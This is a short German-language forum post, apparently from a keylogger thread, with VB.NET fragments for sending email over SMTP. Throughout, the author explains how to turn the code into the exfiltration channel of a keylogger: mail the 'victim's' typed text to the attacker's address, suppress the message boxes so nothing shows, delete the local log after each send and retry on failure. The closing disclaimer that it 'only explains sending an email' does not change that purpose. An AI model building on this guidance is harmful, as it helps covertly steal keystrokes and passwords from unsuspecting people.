Leider sendet dir dieser code nur die daten und loggt sie nicht !

Code:
   
 ' SMTP-Server (z.B. T-Online)
    SmtpMail.SmtpServer = "mailto.btx.dtag.de"
 
    With oMail
      ' Absender
      .From = "Ihre EMail-Adresse"
 
      ' Empfänger
      .To = "Empfänger EMail-Adresse"
Da musst du deine email daten angeben und absender machst z.b einfach Keylogger@log.de oder irgend eine halt

Code:
      ' Betreff
      .Subject = "Test-Nachricht"
 
      ' Nachricht
      .Body = "Dies ist eine Test-Nachricht"
Der betreff sollte klar sein einfach Keylogger daten oder sowas was du willst halt

bei Nachricht kommt halt der geloggte text den das victim zu der zeit schon eingegeben hat

Code:
    Try
      SmtpMail.Send(oMail)
      MsgBox("Nachricht wurde versandt.")
 
    Catch oEx As Exception
      MsgBox("Fehler: " & oEx.Message.ToString)
Die msgboxen kannst du weglassen und kannst z.b bei
SmtpMail.Send(oMail)

den jetzigen log löschen lassen weil der ja versetndet wurde und du den alten bei der nächsten mail ja nicht mitsenden musst

Catch oEx As Exception

Und dort kannst du eig. den log code weiterlaufen lassen oder einfach den versuch die mail zu senden wieder zu versuchen

Wird halt nur erklärt wie man eine Email sendet! damit werden keine logs gemacht ;p